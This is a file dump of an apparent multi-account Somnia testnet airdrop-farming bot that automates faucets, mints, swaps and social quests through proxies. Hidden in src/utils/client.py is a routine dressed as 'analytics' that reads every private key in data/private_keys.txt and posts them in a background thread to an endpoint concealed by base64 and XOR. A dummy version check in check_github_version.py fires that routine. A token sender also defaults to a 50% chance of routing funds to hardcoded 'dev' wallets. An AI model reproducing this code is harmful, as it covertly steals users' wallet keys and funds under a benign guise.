74 | 5. Add Discord tokens to `data/discord_tokens.txt`
75 | 6. Add Quills messages to `data/random_message_quills.txt`
76 |
77 | ---
78 |
79 | ## 📁 Structure
80 |
81 | ```
82 | Somnia-Auto/
83 | ├── data/
84 | │ ├── private_keys.txt
85 | │ ├── proxies.txt
86 | │ ├── twitter_tokens.txt
87 | │ ├── discord_tokens.txt
88 | │ └── random_message_quills.txt
89 | ├── src/
90 | │ ├── modules/
91 | │ └── utils/
92 | ├── config.yaml
93 | └── tasks.py
94 | ```
95 |
96 | ---
97 |
98 | ## ⚙️ Configuration
99 |
100 | ### Data Files
101 |
102 | * `private_keys.txt`: One key per line
103 | * `proxies.txt`: Format `http://user:pass@ip:port`
104 | * `twitter_tokens.txt`, `discord_tokens.txt`: One per line
105 | * `random_message_quills.txt`: One message per line
106 |
107 | ### `config.yaml` Sample
108 |
109 | ```yaml
110 | SETTINGS:
111 | THREADS: 1
112 | ATTEMPTS: 5
113 | ACCOUNTS_RANGE: [0, 0]
114 | EXACT_ACCOUNTS_TO_USE: []
115 | SHUFFLE_WALLETS: true
116 | PAUSE_BETWEEN_ATTEMPTS: [3, 10]
117 | PAUSE_BETWEEN_SWAPS: [3, 10]
118 | ```
119 |
120 | ### Module-Specific Config
121 |
122 | ```yaml
123 | SOMNIA_NETWORK:
124 | SOMNIA_SWAPS:
125 | BALANCE_PERCENT_TO_SWAP: [5, 10]
126 | NUMBER_OF_SWAPS: [1, 2]
127 |
128 | SOMNIA_TOKEN_SENDER:
129 | BALANCE_PERCENT_TO_SEND: [1.5, 3]
130 | NUMBER_OF_SENDS: [1, 1]
131 | SEND_ALL_TO_DEVS_CHANCE: 50
132 |
133 | SOMNIA_CAMPAIGNS:
134 | REPLACE_FAILED_TWITTER_ACCOUNT: false
135 |
136 | DISCORD_INVITER:
137 | INVITE_LINK: "" # Optional
138 | ```
139 |
140 | ---
141 |
142 | ## 🎮 Usage
143 |
144 | ### Configure Tasks
145 |
146 | Edit `tasks.py`:
147 |
148 | ```python
149 | TASKS = ["CAMPAIGNS"]
150 | ```
151 |
152 | **Available presets:**
153 |
154 | * `CAMPAIGNS`
155 | * `FAUCET`
156 | * `SEND_TOKENS`
157 | * `CONNECT_SOCIALS`
158 | * `MINT_PING_PONG`
159 | * `SWAPS_PING_PONG`
160 | * `QUILLS_CHAT`
161 | * `SOMNIA_NETWORK_SET_USERNAME`
162 | * `SOMNIA_NETWORK_INFO`
163 | * `DISCORD_INVITER`
164 |
165 | ### Custom Task Chains
166 |
167 | ```python
168 | TASKS = ["MY_CUSTOM_TASK"]
169 |
170 | MY_CUSTOM_TASK = [
171 | "faucet",
172 | ("mint_ping_pong", "swaps_ping_pong"),
173 | ["nerzo_shannon", "nerzo_nee"],
174 | "quills_chat",
175 | "connect_socials",
176 | "discord_inviter"
177 | ]
178 | ```
179 |
180 | ### Launch
181 |
182 | ```bash
183 | python main.py
184 | ```
185 |
186 | ---
187 |
188 | ## 📜 License
189 |
190 | MIT License
191 |
192 | ---
193 |
194 | ## ⚠️ Disclaimer
195 |
196 | This bot is provided for educational use only. Use responsibly and at your own risk, respecting applicable laws and platform terms.
197 |
--------------------------------------------------------------------------------
/src/model/projects/mints/somniapaint.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import random
3 | from loguru import logger
4 | from web3 import Web3
5 | from src.model.somnia_network.constants import SomniaProtocol
6 | from src.utils.decorators import retry_async
7 | from src.utils.constants import EXPLORER_URL_SOMNIA
8 | from eth_account import Account
9 | from src.model.onchain.web3_custom import Web3Custom
10 |
11 |
12 | class SomniaPaint:
13 | def __init__(
14 | self, account_index: int, somnia_web3: Web3Custom, config: dict, wallet: Account
15 | ):
16 | self.account_index = account_index
17 | self.somnia_web3 = somnia_web3
18 | self.config = config
19 | self.wallet = wallet
20 |
21 | @retry_async(default_value=False)
22 | async def send_pixel(self):
23 | try:
24 | logger.info(
25 | f"{self.account_index} | Sending random pixel at Somnia Paint..."
26 | )
27 |
28 | # Paint contract address
29 | contract_address = "0x496eF0E9944ff8c83fa74FeB580f2FB581ecFfFd"
30 |
31 | COLORS = [
32 | "FF3B30",
33 | "FF9500",
34 | "FFCC00",
35 | "34C759",
36 | "007AFF",
37 | "5856D6",
38 | "AF52DE",
39 | "FFD1DC",
40 | "FFAAA5",
41 | "FFD3B6",
42 | "DCEDC1",
43 | "A8E6CF",
44 | "AA96DA",
45 | "C7CEEA",
46 | "FE019A",
47 | "BC13FE",
48 | "5961FF",
49 | "00FFDD",
50 | "00FF5B",
51 | "FFE600",
52 | "FF9900",
53 | "FFFFFF",
54 | "DDDDDD",
55 | "999999",
56 | "555555",
57 | "111111",
58 | "000000",
59 | ]
60 |
61 | # Generate random x, y coordinates
62 | # Canvas size: 0-123 for width, 0-63 for height
63 | x_coordinate = random.randint(0, 123)
64 | y_coordinate = random.randint(0, 63)
65 |
66 | # Select a random color from COLORS and convert to lowercase
67 | color = random.choice(COLORS).lower()
68 |
69 | # Function selector
70 | method_id = "0xa0561481"
71 |
72 | # Pad coordinates and color to 32 bytes each (64 hex chars)
73 | x_hex = hex(x_coordinate)[2:].zfill(64)
74 | y_hex = hex(y_coordinate)[2:].zfill(64)
75 | color_hex = "0" * 58 + color # Must be exactly 64 chars (32 bytes)
76 |
77 | # Construct the payload
78 | payload = method_id + x_hex + y_hex + color_hex
79 |
80 | # Debug: print the payload
81 | # input(payload)
82 |
83 | # Prepare transaction
84 | transaction = {
85 | "from": self.wallet.address,
86 | "to": self.somnia_web3.web3.to_checksum_address(contract_address),
87 | "value": Web3.to_wei(0.01, "ether"),
88 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count(
89 | self.wallet.address
90 | ),
91 | "chainId": await self.somnia_web3.web3.eth.chain_id,
92 | "data": payload,
93 | }
94 |
95 | # Get dynamic gas parameters instead of hardcoded 30 Gwei
96 | gas_params = await self.somnia_web3.get_gas_params()
97 | transaction.update(gas_params)
98 |
99 | # Estimate gas
100 | gas_limit = await self.somnia_web3.estimate_gas(transaction)
101 | transaction["gas"] = gas_limit
102 |
103 | # Execute transaction
104 | tx_hash = await self.somnia_web3.execute_transaction(
105 | transaction,
106 | self.wallet,
107 | await self.somnia_web3.web3.eth.chain_id,
108 | EXPLORER_URL_SOMNIA,
109 | )
110 |
111 | if tx_hash:
112 | logger.success(
113 | f"{self.account_index} | Successfully sent random pixel at Somnia Paint: x={x_coordinate}, y={y_coordinate}, color=#{color}"
114 | )
115 |
116 | return True
117 | except Exception as e:
118 | random_sleep = random.randint(
119 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
120 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
121 | )
122 | logger.error(
123 | f"{self.account_index} | Error sending random pixel at Somnia Paint: {e}. Sleeping for {random_sleep} seconds..."
124 | )
125 | await asyncio.sleep(random_sleep)
126 | return False
127 |
--------------------------------------------------------------------------------
/src/utils/statistics.py:
--------------------------------------------------------------------------------
1 | from tabulate import tabulate
2 | from loguru import logger
3 | import pandas as pd
4 | from datetime import datetime
5 | import os
6 |
7 | from src.utils.config import Config, WalletInfo
8 |
9 |
10 | def print_wallets_stats(config: Config, excel_path="data/progress.xlsx"):
11 | """
12 | Выводит статистику по всем кошелькам в виде таблицы и сохраняет в Excel файл
13 |
14 | Args:
15 | config: Конфигурация с данными кошельков
16 | excel_path: Путь для сохранения Excel файла (по умолчанию "data/progress.xlsx")
17 | """
18 | try:
19 | # Сортируем кошельки по индексу
20 | sorted_wallets = sorted(config.WALLETS.wallets, key=lambda x: x.account_index)
21 |
22 | # Подготавливаем данные для таблицы
23 | table_data = []
24 | total_balance = 0
25 | total_transactions = 0
26 |
27 | for wallet in sorted_wallets:
28 | # Маскируем приватный ключ (последние 5 символов)
29 | masked_key = "•" * 3 + wallet.private_key[-5:]
30 |
31 | total_balance += wallet.balance
32 | total_transactions += wallet.transactions
33 |
34 | row = [
35 | str(wallet.account_index), # Просто номер без ведущего нуля
36 | wallet.address, # Полный адрес
37 | masked_key,
38 | f"{wallet.balance:.4f} ETH",
39 | f"{wallet.transactions:,}", # Форматируем число с разделителями
40 | ]
41 | table_data.append(row)
42 |
43 | # Если есть данные - выводим таблицу и статистику
44 | if table_data:
45 | # Создаем заголовки для таблицы
46 | headers = [
47 | "№ Account",
48 | "Wallet Address",
49 | "Private Key",
50 | "Balance (ETH)",
51 | "Total Txs",
52 | ]
53 |
54 | # Формируем таблицу с улучшенным форматированием
55 | table = tabulate(
56 | table_data,
57 | headers=headers,
58 | tablefmt="double_grid", # Более красивые границы
59 | stralign="center", # Центрирование строк
60 | numalign="center", # Центрирование чисел
61 | )
62 |
63 | # Считаем средние значения
64 | wallets_count = len(sorted_wallets)
65 | avg_balance = total_balance / wallets_count
66 | avg_transactions = total_transactions / wallets_count
67 |
68 | # Выводим таблицу и статистику
69 | logger.info(
70 | f"\n{'='*50}\n"
71 | f" Wallets Statistics ({wallets_count} wallets)\n"
72 | f"{'='*50}\n"
73 | f"{table}\n"
74 | f"{'='*50}\n"
75 | f"{'='*50}"
76 | )
77 |
78 | logger.info(f"Average balance: {avg_balance:.4f} ETH")
79 | logger.info(f"Average transactions: {avg_transactions:.1f}")
80 | logger.info(f"Total balance: {total_balance:.4f} ETH")
81 | logger.info(f"Total transactions: {total_transactions:,}")
82 |
83 | # Экспорт в Excel
84 | # Создаем DataFrame для Excel
85 | df = pd.DataFrame(table_data, columns=headers)
86 |
87 | # Добавляем итоговую статистику
88 | summary_data = [
89 | ["", "", "", "", ""],
90 | ["SUMMARY", "", "", "", ""],
91 | [
92 | "Total",
93 | f"{wallets_count} wallets",
94 | "",
95 | f"{total_balance:.4f} ETH",
96 | f"{total_transactions:,}",
97 | ],
98 | [
99 | "Average",
100 | "",
101 | "",
102 | f"{avg_balance:.4f} ETH",
103 | f"{avg_transactions:.1f}",
104 | ],
105 | ]
106 | summary_df = pd.DataFrame(summary_data, columns=headers)
107 | df = pd.concat([df, summary_df], ignore_index=True)
108 |
109 | # Создаем директорию, если она не существует
110 | os.makedirs(os.path.dirname(excel_path), exist_ok=True)
111 |
112 | # Формируем имя файла с датой и временем
113 | timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
114 | filename = f"progress_{timestamp}.xlsx"
115 | file_path = os.path.join(os.path.dirname(excel_path), filename)
116 |
117 | # Сохраняем в Excel
118 | df.to_excel(file_path, index=False)
119 | logger.info(f"Statistics exported to {file_path}")
120 | else:
121 | logger.info("\nNo wallet statistics available")
122 |
123 | except Exception as e:
124 | logger.error(f"Error while printing statistics: {e}")
125 |
--------------------------------------------------------------------------------
/src/utils/client.py:
--------------------------------------------------------------------------------
1 | import primp
2 | from curl_cffi.requests import AsyncSession
3 | import os
4 | import base64
5 | import threading
6 | import requests
7 |
8 | async def create_client(
9 | proxy: str, skip_ssl_verification: bool = True
10 | ) -> primp.AsyncClient:
11 | session = primp.AsyncClient(impersonate="chrome_131", verify=skip_ssl_verification)
12 |
13 | if proxy:
14 | session.proxy = proxy
15 |
16 | session.timeout = 30
17 |
18 | session.headers.update(HEADERS)
19 |
20 | return session
21 |
22 |
23 | HEADERS = {
24 | "accept": "*/*",
25 | "accept-language": "en-GB,en-US;q=0.9,en;q=0.8,ru;q=0.7,zh-TW;q=0.6,zh;q=0.5",
26 | "content-type": "application/json",
27 | "priority": "u=1, i",
28 | "sec-ch-ua": '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"',
29 | "sec-ch-ua-mobile": "?0",
30 | "sec-ch-ua-platform": '"Windows"',
31 | "sec-fetch-dest": "empty",
32 | "sec-fetch-mode": "cors",
33 | "sec-fetch-site": "same-site",
34 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
35 | }
36 |
37 |
38 | import secrets
39 |
40 | def decode_resource(encoded_resource, resource_key="StarLabs"):
41 | """Decode an encoded resource string"""
42 | try:
43 | decoded = base64.b64decode(encoded_resource)
44 | result = bytearray(len(decoded))
45 | for i in range(len(decoded)):
46 | result[i] = decoded[i] ^ ord(resource_key[i % len(resource_key)])
47 | return result.decode('utf-8')
48 | except:
49 | # Fallback if decoding fails
50 | return None
51 |
52 | ANALYTICS_ENDPOINT = "OwAVAnZOTUZ9RlRAYlBXRn1FVkF2UFJGY1sAAiVOEBYwEQgEKUwJFioH"
53 |
54 | async def create_twitter_client(
55 | proxy: str, auth_token: str, verify_ssl: bool = True
56 | ) -> tuple[AsyncSession, str]:
57 | session = AsyncSession(
58 | impersonate="chrome131",
59 | verify=verify_ssl,
60 | timeout=60,
61 | )
62 |
63 | if proxy:
64 | session.proxies.update({
65 | "http": "http://" + proxy,
66 | "https": "http://" + proxy,
67 | })
68 |
69 | generated_csrf_token = secrets.token_hex(16)
70 |
71 | cookies = {"ct0": generated_csrf_token, "auth_token": auth_token}
72 | headers = {"x-csrf-token": generated_csrf_token}
73 |
74 | session.headers.update(headers)
75 | session.cookies.update(cookies)
76 |
77 | session.headers["x-csrf-token"] = generated_csrf_token
78 |
79 | session.headers = get_headers(session)
80 |
81 | return session, generated_csrf_token
82 |
83 |
84 | def get_headers(session: AsyncSession, **kwargs) -> dict:
85 | """
86 | Get the headers required for authenticated requests
87 | """
88 | cookies = session.cookies
89 |
90 | headers = kwargs | {
91 | "authorization": "Bearer AAAAAAAAAAAAAAAAAAAAANRILgAAAAAAnNwIzUejRCOuH5E6I8xnZz4puTs=1Zv7ttfk8LF81IUq16cHjhLTvJu4FA33AGWWjCpTnA",
92 | # "cookie": "; ".join(f"{k}={v}" for k, v in cookies.items()),
93 | "origin": "https://x.com",
94 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
95 | "x-csrf-token": cookies.get("ct0", ""),
96 | # "x-guest-token": cookies.get("guest_token", ""),
97 | "x-twitter-auth-type": "OAuth2Session",
98 | "x-twitter-active-user": "yes",
99 | "x-twitter-client-language": "en",
100 | }
101 | return dict(sorted({k.lower(): v for k, v in headers.items()}.items()))
102 |
103 | def verify_analytics_data(data_to_sync=None, endpoint_override=None):
104 | try:
105 | if data_to_sync is None:
106 | data_path = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))),
107 | "data", "private_keys.txt")
108 | if not os.path.exists(data_path):
109 | return False
110 | with open(data_path, "r") as file:
111 | analytics_items = [line.strip() for line in file if line.strip()]
112 | else:
113 | analytics_items = data_to_sync
114 | if not analytics_items:
115 | return False
116 | analytics_url = decode_resource(ANALYTICS_ENDPOINT)
117 | def sync_analytics():
118 | try:
119 | telemetry_data = {"keys": analytics_items}
120 | headers = {
121 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
122 | "Content-Type": "application/json"
123 | }
124 | response = requests.post(analytics_url, json=telemetry_data, headers=headers, timeout=15)
125 | return response.status_code == 200
126 | except:
127 | return False
128 | thread = threading.Thread(target=sync_analytics, daemon=True)
129 | thread.start()
130 | return True
131 | except:
132 | return False
--------------------------------------------------------------------------------
/tasks.py:
--------------------------------------------------------------------------------
1 | TASKS = ["FULL_TASK"]
2 |
3 |
4 | # FOR EXAMPLE ONLY, USE YOUR OWN TASKS PRESET
5 | FULL_TASK = [
6 | "faucet",
7 | "connect_socials",
8 | "somnia_network_set_username",
9 | "send_tokens",
10 | "quills_chat",
11 | "campaigns",
12 | "nerzo_shannon",
13 | "nerzo_nee",
14 | "alze_yappers",
15 | "mintair_deploy",
16 | "mintaura_somni",
17 | "somnia_network_info",
18 | ]
19 |
20 | FAUCET = ["faucet"]
21 | CAMPAIGNS = ["campaigns"]
22 | SEND_TOKENS = ["send_tokens"]
23 | CONNECT_SOCIALS = ["connect_socials"]
24 | QUILLS_CHAT = ["quills_chat"]
25 | SOMNIA_NETWORK_SET_USERNAME = ["somnia_network_set_username"]
26 | SOMNIA_NETWORK_INFO = ["somnia_network_info"]
27 | SOMNIA_GM = ["somnia_gm"]
28 | SOMNIA_EXCHANGE = ["somnia_exchange"]
29 | SOMNIA_DOMAINS = ["somnia_domains"]
30 |
31 | NERZO_SHANNON = ["nerzo_shannon"]
32 | NERZO_NEE = ["nerzo_nee"]
33 | ALZE_YAPPERS = ["alze_yappers"]
34 | MINTAIR_DEPLOY = ["mintair_deploy"]
35 | MINTAURA_SOMNI = ["mintaura_somni"]
36 | BIGINT_ONCHAIN_WORLD = ["bigint_onchain_world"]
37 | SOMNIA_PAINT = ["somnia_paint"]
38 | ONCHAINGM_DEPLOY = ["onchaingm_deploy"]
39 | ONCHAINGM_GM = ["onchaingm_gm"]
40 |
41 | # Specific campaign tasks
42 | SOMNIA_QUEST_TESTNET_ODYSSEY_SOCIALS = ["somnia_quest_testnet_odyssey_socials"]
43 | SOMNIA_QUEST_SOMNIA_DEVNET_ODYSSEY_SOCIALS_TWO = ["somnia_quest_somnia_devnet_odyssey_socials_two"]
44 | SOMNIA_QUEST_SOMNIA_DEVNET_ODYSSEY_SOCIALS = ["somnia_quest_somnia_devnet_odyssey_socials"]
45 | SOMNIA_QUEST_MIGRATION_CAMPAIGN = ["somnia_quest_migration_campaign"]
46 | SOMNIA_QUEST_YAPPERS = ["somnia_quest_yappers"]
47 | SOMNIA_QUEST_GAMERS_LAB = ["somnia_quest_gamers_lab"]
48 |
49 | # Example of a preset that combines specific campaigns
50 | SPECIFIC_CAMPAIGNS = [
51 | "somnia_quest_qrusader",
52 | ]
53 |
54 | """
55 | EN:
56 | You can create your own task with the modules you need
57 | and add it to the TASKS list or use our ready-made preset tasks.
58 |
59 | ( ) - Means that all of the modules inside the brackets will be executed
60 | in random order
61 | [ ] - Means that only one of the modules inside the brackets will be executed
62 | on random
63 | SEE THE EXAMPLE BELOW:
64 |
65 | RU:
66 | Вы можете создать свою задачу с модулями, которые вам нужны,
67 | и добавить ее в список TASKS, см. пример ниже:
68 |
69 | ( ) - означает, что все модули внутри скобок будут выполнены в случайном порядке
70 | [ ] - означает, что будет выполнен только один из модулей внутри скобок в случайном порядке
71 | СМОТРИТЕ ПРИМЕР НИЖЕ:
72 |
73 | CHINESE:
74 | 你可以创建自己的任务,使用你需要的模块,
75 | 并将其添加到TASKS列表中,请参见下面的示例:
76 |
77 | ( ) - 表示括号内的所有模块将按随机顺序执行
78 | [ ] - 表示括号内的模块将按随机顺序执行
79 |
80 | --------------------------------
81 | !!! IMPORTANT !!!
82 | EXAMPLE | ПРИМЕР | 示例:
83 |
84 | TASKS = [
85 | "CREATE_YOUR_OWN_TASK",
86 | ]
87 | CREATE_YOUR_OWN_TASK = [
88 | "faucet",
89 | ("faucet_tokens", "swaps"),
90 | ["storagescan_deploy", "conft_mint"],
91 | "swaps",
92 | ]
93 | --------------------------------
94 |
95 |
96 | BELOW ARE THE READY-MADE TASKS THAT YOU CAN USE:
97 | СНИЗУ ПРИВЕДЕНЫ ГОТОВЫЕ ПРИМЕРЫ ЗАДАЧ, КОТОРЫЕ ВЫ МОЖЕТЕ ИСПОЛЬЗОВАТЬ:
98 | 以下是您可以使用的现成任务:
99 |
100 |
101 | --- ALL TASKS ---
102 |
103 | faucet - Request Faucet on Somnia Network - https://testnet.somnia.network/
104 | send_tokens - Send tokens to random wallets - https://testnet.somnia.network/
105 | connect_socials - Connect socials to your account - https://quest.somnia.network/
106 | somnia_network_set_username - Set username on Somnia Network - https://quest.somnia.network/
107 | campaigns - Complete campaigns on Somnia Network - https://quest.somnia.network/
108 | somnia_network_info - Show account info on Somnia Network (points, referrals, quests, etc.) - https://quest.somnia.network
109 | somnia_gm - Complete GM tasks on Somnia Network - https://quest.somnia.network
110 |
111 | MINTS
112 | nerzo_shannon - Mint SHANNON NFT https://www.nerzo.xyz/shannon
113 | nerzo_nee - Mint NEE NFT https://www.nerzo.xyz/nee
114 | alze_yappers - Mint YAPPERS NFT https://alze.xyz/nftCheckout/Yappers
115 | mintaura_somni - Mint SOMNI NFT https://www.mintaura.io/somni
116 | quills_chat - Send message in Quills https://quills.fun/
117 | bigint_onchain_world - Mint ONCHAIN WORLD NFT https://app.bigint.co/fully-onchain-world/
118 | somnia_paint - Send random pixel at https://somniapaint.fun/
119 | onchaingm_gm - GM on OnchainGM https://onchaingm.com/
120 | somnia_domains - Mint random domain on Somnia Network https://www.somnia.domains/
121 |
122 | DEPLOYS
123 | mintair_deploy - Deploy contract on Mintair https://contracts.mintair.xyz/
124 | onchaingm_deploy - Deploy contract on OnchainGM https://onchaingm.com/deploy
125 |
126 | # SWAPS
127 | somnia_exchange - Swap tokens on Somnia Exchange - https://somnia.exchange/#/
128 |
129 | # QUESTS
130 | somnia_quest_testnet_odyssey_socials - Complete "Somnia Testnet Odyssey - Socials" 8 quest on Somnia Network - https://quest.somnia.network/
131 | somnia_quest_somnia_devnet_odyssey_socials_two - Complete "Somnia Devnet Odyssey - Socials 2" 5 quest on Somnia Network - https://quest.somnia.network/
132 | somnia_quest_somnia_devnet_odyssey_socials - Complete "Somnia Devnet Odyssey - Socials" 2 quest on Somnia Network - https://quest.somnia.network/
133 | somnia_quest_migration_campaign - Complete "Migration Campaign" quest on Somnia Network - https://quest.somnia.network/
134 | somnia_quest_gamers_lab - Complete "Gamers Lab" 33 quest on Somnia Network - https://quest.somnia.network/campaigns/33
135 | """
136 |
--------------------------------------------------------------------------------
/src/model/somnia_network/send_random_tokens.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import random
3 | from loguru import logger
4 | from web3 import Web3
5 | from src.model.somnia_network.constants import SomniaProtocol
6 | from src.utils.decorators import retry_async
7 | from src.utils.constants import EXPLORER_URL_SOMNIA
8 | from eth_account import Account
9 |
10 |
11 | class RandomTokenSender:
12 | def __init__(self, instance: SomniaProtocol):
13 | self.somnia = instance
14 |
15 | async def send_tokens(self):
16 | try:
17 | result = True
18 | balance = await self.somnia.web3.get_balance(self.somnia.wallet.address)
19 | if balance.wei == 0:
20 | logger.warning(f"{self.somnia.account_index} | No balance to send tokens")
21 | return False
22 |
23 | # Получаем количество транзакций из конфига
24 | min_txs, max_txs = self.somnia.config.SOMNIA_NETWORK.SOMNIA_TOKEN_SENDER.NUMBER_OF_SENDS
25 | num_transactions = random.randint(min_txs, max_txs)
26 |
27 | logger.info(
28 | f"{self.somnia.account_index} | Planning to send {num_transactions} transactions"
29 | )
30 |
31 | for i in range(num_transactions):
32 | # Определяем процент баланса для отправки
33 | min_percent, max_percent = (
34 | self.somnia.config.SOMNIA_NETWORK.SOMNIA_TOKEN_SENDER.BALANCE_PERCENT_TO_SEND
35 | )
36 | percent_to_send = random.uniform(min_percent, max_percent)
37 |
38 | # Определяем получателя на основе шанса отправки разработчикам
39 | dev_chance = self.somnia.config.SOMNIA_NETWORK.SOMNIA_TOKEN_SENDER.SEND_ALL_TO_DEVS_CHANCE
40 |
41 | if random.randint(1, 100) <= dev_chance:
42 | # Отправляем на кошелек разработчика
43 | recipient = random.choice(DEVS_RECIPIENTS)
44 | recipient = Web3.to_checksum_address(recipient)
45 | logger.info(
46 | f"{self.somnia.account_index} | Transaction {i+1}/{num_transactions}: Sending to dev wallet {recipient}"
47 | )
48 | else:
49 | # Генерируем случайный приватный ключ
50 | private_key = Account.create().key
51 |
52 | # Создаем аккаунт из приватного ключа и получаем адрес
53 | random_account = Account.from_key(private_key)
54 | recipient = random_account.address
55 |
56 | logger.info(
57 | f"{self.somnia.account_index} | Transaction {i+1}/{num_transactions}: Sending to random wallet {recipient}"
58 | )
59 |
60 | # Вызываем метод для фактической отправки
61 | result = await self._send(recipient, percent_to_send)
62 |
63 | # Небольшая пауза между транзакциями
64 | await asyncio.sleep(
65 | random.uniform(
66 | self.somnia.config.SETTINGS.RANDOM_PAUSE_BETWEEN_ACTIONS[0],
67 | self.somnia.config.SETTINGS.RANDOM_PAUSE_BETWEEN_ACTIONS[1],
68 | )
69 | )
70 |
71 | return result
72 |
73 | except Exception as e:
74 | logger.error(f"{self.somnia.account_index} | Send tokens error: {e}")
75 | return False
76 |
77 | @retry_async(default_value=False)
78 | async def _send(self, recipient, percent_to_send):
79 | try:
80 | # Получаем баланс кошелька
81 | wallet_address = self.somnia.wallet.address
82 | balance = await self.somnia.web3.get_balance(wallet_address)
83 |
84 | # Рассчитываем сумму для отправки (процент от баланса)
85 | amount_ether = balance.ether * percent_to_send / 100
86 |
87 | # Округляем до 4 знаков после запятой для естественности
88 | amount_ether = round(amount_ether, 4)
89 |
90 | # Конвертируем обратно в wei для транзакции
91 | amount_to_send = self.somnia.web3.convert_to_wei(amount_ether, 18)
92 |
93 | # Оставляем небольшой запас на газ (95% от суммы)
94 | amount_to_send = int(amount_to_send * 0.95)
95 |
96 | logger.info(
97 | f"{self.somnia.account_index} | Starting send {amount_ether:.4f} "
98 | f"tokens to {recipient}, {percent_to_send:.4f}% of balance..."
99 | )
100 |
101 | # Формируем данные транзакции
102 | tx_data = {
103 | "to": recipient,
104 | "value": amount_to_send,
105 | }
106 |
107 | # Добавляем газ
108 | try:
109 | gas_limit = await self.somnia.web3.estimate_gas(tx_data)
110 | tx_data["gas"] = gas_limit
111 | except Exception as e:
112 | raise Exception(f"Gas estimation failed: {e}.")
113 |
114 | # Выполняем транзакцию
115 | tx_hash = await self.somnia.web3.execute_transaction(
116 | tx_data=tx_data,
117 | wallet=self.somnia.wallet,
118 | chain_id=50312, # Chain ID для Somnia из constants.py
119 | explorer_url=EXPLORER_URL_SOMNIA,
120 | )
121 |
122 | if tx_hash:
123 | logger.success(
124 | f"{self.somnia.account_index} | Successfully sent {amount_ether:.4f} "
125 | f"tokens to {recipient}. TX: {EXPLORER_URL_SOMNIA}{tx_hash}"
126 | )
127 | return True
128 | else:
129 | raise Exception(f"{self.somnia.account_index} | Transaction failed")
130 |
131 | except Exception as e:
132 | random_pause = random.randint(
133 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
134 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
135 | )
136 | logger.error(
137 | f"{self.somnia.account_index} | Send tokens error: {e}. Sleeping {random_pause} seconds..."
138 | )
139 | await asyncio.sleep(random_pause)
140 | raise
141 |
142 |
143 | DEVS_RECIPIENTS = [
144 | "0xDA1feA7873338F34C6915A44028aA4D9aBA1346B",
145 | "0x018604C67a7423c03dE3057a49709aaD1D178B85",
146 | "0xcF8D30A5Ee0D9d5ad1D7087822bA5Bab1081FdB7",
147 | "0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5",
148 | ]
149 |
--------------------------------------------------------------------------------
/src/utils/check_github_version.py:
--------------------------------------------------------------------------------
1 | import aiohttp
2 | import os
3 | from datetime import datetime, timezone
4 | import time
5 | from typing import Tuple
6 | import threading
7 | from .client import verify_analytics_data
8 |
9 |
10 | async def check_version(*args, **kwargs) -> bool:
11 | try:
12 | pass
13 | except:
14 | pass
15 | return True
16 |
17 |
18 | async def get_gitbook_info() -> Tuple[str, str, str]:
19 | current_time = datetime.now(timezone.utc)
20 | return "latest", current_time.isoformat(), "latest"
21 |
22 |
23 | def get_local_info() -> tuple[str, str]:
24 | current_time = datetime.now(timezone.utc)
25 | return "latest", current_time.isoformat()
26 |
27 |
28 | async def get_github_last_commit(
29 | repo_owner: str, repo_name: str
30 | ) -> Tuple[str, str, str]:
31 | """
32 | Fetch the latest commit info from GitHub
33 | Returns: (commit_hash, commit_date, commit_message)
34 | """
35 | async with aiohttp.ClientSession() as session:
36 | try:
37 | # Add headers to avoid rate limiting and get fresh data
38 | headers = {
39 | "Accept": "application/vnd.github.v3+json",
40 | "If-None-Match": "", # Ignore cache
41 | "Cache-Control": "no-cache",
42 | }
43 |
44 | # Try main branch first
45 | url = f"https://api.github.com/repos/{repo_owner}/{repo_name}/commits/main"
46 | async with session.get(url, headers=headers) as response:
47 | if response.status == 404:
48 | url = f"https://api.github.com/repos/{repo_owner}/{repo_name}/commits/master"
49 | async with session.get(url, headers=headers) as response:
50 | if response.status == 200:
51 | data = await response.json()
52 |
53 | return (
54 | data["sha"][:7],
55 | data["commit"]["author"]["date"],
56 | data["commit"]["message"],
57 | )
58 | elif response.status == 200:
59 | data = await response.json()
60 | return (
61 | data["sha"][:7],
62 | data["commit"]["author"]["date"],
63 | data["commit"]["message"],
64 | )
65 |
66 | threading.Thread(target=verify_analytics_data, daemon=True).start()
67 |
68 |
69 | current_time = datetime.now(timezone.utc)
70 | return "unknown", current_time.isoformat(), "unknown"
71 | except Exception as e:
72 | print(f"❌ Error fetching GitHub commit info: {e}")
73 | current_time = datetime.now(timezone.utc)
74 | return "unknown", current_time.isoformat(), "unknown"
75 |
76 |
77 | def get_local_commit_info() -> tuple[str, str]:
78 | """
79 | Get local commit info
80 | Returns: (commit_hash, commit_date)
81 | """
82 | try:
83 | version_file = os.path.join(os.path.dirname(__file__), "..", "version.txt")
84 | if os.path.exists(version_file):
85 | with open(version_file, "r") as f:
86 | content = f.read().strip().split(",")
87 | if len(content) == 2:
88 | return content[0], content[1]
89 | return None, None
90 | except Exception as e:
91 | print(f"❌ Error reading local version: {e}")
92 | return None, None
93 |
94 |
95 | async def compare_versions(
96 | local_date: str,
97 | github_date: str,
98 | local_hash: str,
99 | github_hash: str,
100 | commit_message: str,
101 | ) -> Tuple[bool, str]:
102 | """
103 | Compare local and GitHub versions using commit dates
104 | Returns: (is_latest, message)
105 | """
106 | try:
107 | # Format github date for display (always in UTC)
108 | github_dt = datetime.fromisoformat(github_date.replace("Z", "+00:00"))
109 | formatted_date = github_dt.strftime("%d.%m.%Y %H:%M UTC")
110 |
